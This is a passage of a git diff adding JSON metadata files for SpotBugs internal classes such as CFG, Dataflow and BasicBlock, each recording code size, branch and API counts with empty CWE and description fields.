Information/checkers/asm/ClassNodeDetector.json @@ -0,0 +1,13 @@ +{ + "name": "ClassNodeDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 90, + "branches": 6, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/asm/FBClassReader.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/asm/FBClassReader.json new file mode 100644 index 0000000..0020478 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/asm/FBClassReader.json @@ -0,0 +1,13 @@ +{ + "name": "FBClassReader", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 103, + "branches": 7, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/asm/FBMethodVisitor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/asm/FBMethodVisitor.json new file mode 100644 index 0000000..3deed3c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/asm/FBMethodVisitor.json @@ -0,0 +1,13 @@ +{ + "name": "FBMethodVisitor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 37, + "branches": 2, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractBlockOrder.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractBlockOrder.json new file mode 100644 index 0000000..ce0a08d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractBlockOrder.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractBlockOrder", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 62, + "branches": 5, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractClassMember.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractClassMember.json new file mode 100644 index 0000000..7552095 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractClassMember.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractClassMember", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 199, + "branches": 15, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractDataflow.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractDataflow.json new file mode 100644 index 0000000..cf5773c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractDataflow.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractDataflow", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 3, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractDataflowAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractDataflowAnalysis.json new file mode 100644 index 0000000..6da4aa8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractDataflowAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractDataflowAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 145, + "branches": 12, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractDominatorsAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractDominatorsAnalysis.json new file mode 100644 index 0000000..4fc9156 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractDominatorsAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractDominatorsAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 177, + "branches": 12, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractField.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractField.json new file mode 100644 index 0000000..c2adf47 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractField.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractField", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 2, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractFrameModelingVisitor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractFrameModelingVisitor.json new file mode 100644 index 0000000..a4a2c4f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractFrameModelingVisitor.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractFrameModelingVisitor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1280, + "branches": 47, + "apis": 77, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractMethod.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractMethod.json new file mode 100644 index 0000000..177ed7c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AbstractMethod.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractMethod", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 81, + "branches": 3, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AccessMethodDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AccessMethodDatabase.json new file mode 100644 index 0000000..037a2d6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AccessMethodDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "AccessMethodDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 78, + "branches": 6, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AccessibleEntity.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AccessibleEntity.json new file mode 100644 index 0000000..ff647cf --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AccessibleEntity.json @@ -0,0 +1,13 @@ +{ + "name": "AccessibleEntity", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 78, + "branches": 5, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnalysisContext.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnalysisContext.json new file mode 100644 index 0000000..b321046 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnalysisContext.json @@ -0,0 +1,13 @@ +{ + "name": "AnalysisContext", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1099, + "branches": 102, + "apis": 145, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnalysisException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnalysisException.json new file mode 100644 index 0000000..d1a6dab --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnalysisException.json @@ -0,0 +1,13 @@ +{ + "name": "AnalysisException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 136, + "branches": 11, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnalysisFeatures.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnalysisFeatures.json new file mode 100644 index 0000000..3f6851d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnalysisFeatures.json @@ -0,0 +1,13 @@ +{ + "name": "AnalysisFeatures", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 118, + "branches": 7, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnnotationDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnnotationDatabase.json new file mode 100644 index 0000000..7a35016 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnnotationDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "AnnotationDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 442, + "branches": 81, + "apis": 96, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnnotationEnumeration.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnnotationEnumeration.json new file mode 100644 index 0000000..9e61ade --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnnotationEnumeration.json @@ -0,0 +1,13 @@ +{ + "name": "AnnotationEnumeration", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 69, + "branches": 3, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnnotationRetentionDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnnotationRetentionDatabase.json new file mode 100644 index 0000000..ee43cc5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AnnotationRetentionDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "AnnotationRetentionDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 48, + "branches": 5, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AssertionMethods.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AssertionMethods.json new file mode 100644 index 0000000..7ffa9f5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AssertionMethods.json @@ -0,0 +1,13 @@ +{ + "name": "AssertionMethods", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 233, + "branches": 24, + "apis": 51, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AssignedFieldMap.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AssignedFieldMap.json new file mode 100644 index 0000000..568169e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/AssignedFieldMap.json @@ -0,0 +1,13 @@ +{ + "name": "AssignedFieldMap", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 94, + "branches": 15, + "apis": 30, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BackwardDataflowAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BackwardDataflowAnalysis.json new file mode 100644 index 0000000..4989303 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BackwardDataflowAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "BackwardDataflowAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 56, + "branches": 5, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BasicAbstractDataflowAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BasicAbstractDataflowAnalysis.json new file mode 100644 index 0000000..c171f1c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BasicAbstractDataflowAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "BasicAbstractDataflowAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 201, + "branches": 9, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BasicBlock.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BasicBlock.json new file mode 100644 index 0000000..72db385 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BasicBlock.json @@ -0,0 +1,13 @@ +{ + "name": "BasicBlock", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 472, + "branches": 35, + "apis": 52, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BetterCFGBuilder2.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BetterCFGBuilder2.json new file mode 100644 index 0000000..57990cc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BetterCFGBuilder2.json @@ -0,0 +1,13 @@ +{ + "name": "BetterCFGBuilder2", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1307, + "branches": 155, + "apis": 267, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BlockOrder.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BlockOrder.json new file mode 100644 index 0000000..cedeb84 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BlockOrder.json @@ -0,0 +1,13 @@ +{ + "name": "BlockOrder", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 37, + "branches": 3, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BlockType.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BlockType.json new file mode 100644 index 0000000..a78f491 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BlockType.json @@ -0,0 +1,13 @@ +{ + "name": "BlockType", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 285, + "branches": 31, + "apis": 22, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BlockTypeAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BlockTypeAnalysis.json new file mode 100644 index 0000000..90ea74c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BlockTypeAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "BlockTypeAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 139, + "branches": 9, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BlockTypeDataflow.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BlockTypeDataflow.json new file mode 100644 index 0000000..25dd8e2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BlockTypeDataflow.json @@ -0,0 +1,13 @@ +{ + "name": "BlockTypeDataflow", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 29, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BytecodeScanner.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BytecodeScanner.json new file mode 100644 index 0000000..388e1c4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/BytecodeScanner.json @@ -0,0 +1,13 @@ +{ + "name": "BytecodeScanner", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 405, + "branches": 214, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CFG.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CFG.json new file mode 100644 index 0000000..e2022b1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CFG.json @@ -0,0 +1,13 @@ +{ + "name": "CFG", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 644, + "branches": 58, + "apis": 70, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CFGBuilder.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CFGBuilder.json new file mode 100644 index 0000000..03a0e2f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CFGBuilder.json @@ -0,0 +1,13 @@ +{ + "name": "CFGBuilder", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 42, + "branches": 3, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CFGBuilderException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CFGBuilderException.json new file mode 100644 index 0000000..83640fb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CFGBuilderException.json @@ -0,0 +1,13 @@ +{ + "name": "CFGBuilderException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 33, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CFGBuilderFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CFGBuilderFactory.json new file mode 100644 index 0000000..f91b9d8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CFGBuilderFactory.json @@ -0,0 +1,13 @@ +{ + "name": "CFGBuilderFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 51, + "branches": 6, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CFGPrinter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CFGPrinter.json new file mode 100644 index 0000000..61d04f2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CFGPrinter.json @@ -0,0 +1,13 @@ +{ + "name": "CFGPrinter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 149, + "branches": 13, + "apis": 20, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CheckReturnAnnotationDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CheckReturnAnnotationDatabase.json new file mode 100644 index 0000000..09ad423 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CheckReturnAnnotationDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "CheckReturnAnnotationDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 383, + "branches": 29, + "apis": 77, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CheckReturnValueAnnotation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CheckReturnValueAnnotation.json new file mode 100644 index 0000000..1c7b978 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CheckReturnValueAnnotation.json @@ -0,0 +1,13 @@ +{ + "name": "CheckReturnValueAnnotation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 124, + "branches": 11, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ClassContext.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ClassContext.json new file mode 100644 index 0000000..05abf5b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ClassContext.json @@ -0,0 +1,13 @@ +{ + "name": "ClassContext", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1048, + "branches": 124, + "apis": 165, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ClassHash.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ClassHash.json new file mode 100644 index 0000000..7a43e0b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ClassHash.json @@ -0,0 +1,13 @@ +{ + "name": "ClassHash", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 337, + "branches": 23, + "apis": 57, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ClassMember.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ClassMember.json new file mode 100644 index 0000000..7caa678 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ClassMember.json @@ -0,0 +1,13 @@ +{ + "name": "ClassMember", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 71, + "branches": 5, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ClassNotFoundExceptionParser.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ClassNotFoundExceptionParser.json new file mode 100644 index 0000000..6b58419 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ClassNotFoundExceptionParser.json @@ -0,0 +1,13 @@ +{ + "name": "ClassNotFoundExceptionParser", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 95, + "branches": 9, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ClassSummary.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ClassSummary.json new file mode 100644 index 0000000..52cee78 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ClassSummary.json @@ -0,0 +1,13 @@ +{ + "name": "ClassSummary", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 49, + "branches": 4, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CompactLocationNumbering.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CompactLocationNumbering.json new file mode 100644 index 0000000..7771abc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CompactLocationNumbering.json @@ -0,0 +1,13 @@ +{ + "name": "CompactLocationNumbering", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 89, + "branches": 4, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ComparableField.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ComparableField.json new file mode 100644 index 0000000..dfc0769 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ComparableField.json @@ -0,0 +1,13 @@ +{ + "name": "ComparableField", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 27, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ComparableMethod.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ComparableMethod.json new file mode 100644 index 0000000..cd7da61 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ComparableMethod.json @@ -0,0 +1,13 @@ +{ + "name": "ComparableMethod", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 27, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CompoundMethodChooser.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CompoundMethodChooser.json new file mode 100644 index 0000000..603d5b1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/CompoundMethodChooser.json @@ -0,0 +1,13 @@ +{ + "name": "CompoundMethodChooser", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 6, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DFSCFGPrinter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DFSCFGPrinter.json new file mode 100644 index 0000000..d06ae3e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DFSCFGPrinter.json @@ -0,0 +1,13 @@ +{ + "name": "DFSCFGPrinter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 48, + "branches": 8, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DFSEdgeTypes.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DFSEdgeTypes.json new file mode 100644 index 0000000..46ed69e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DFSEdgeTypes.json @@ -0,0 +1,13 @@ +{ + "name": "DFSEdgeTypes", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 31, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Dataflow.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Dataflow.json new file mode 100644 index 0000000..a79e2c1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Dataflow.json @@ -0,0 +1,13 @@ +{ + "name": "Dataflow", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 579, + "branches": 71, + "apis": 144, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DataflowAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DataflowAnalysis.json new file mode 100644 index 0000000..8aef8b9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DataflowAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "DataflowAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 210, + "branches": 15, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DataflowAnalysisException.json b/Raw Data/Static Analysis 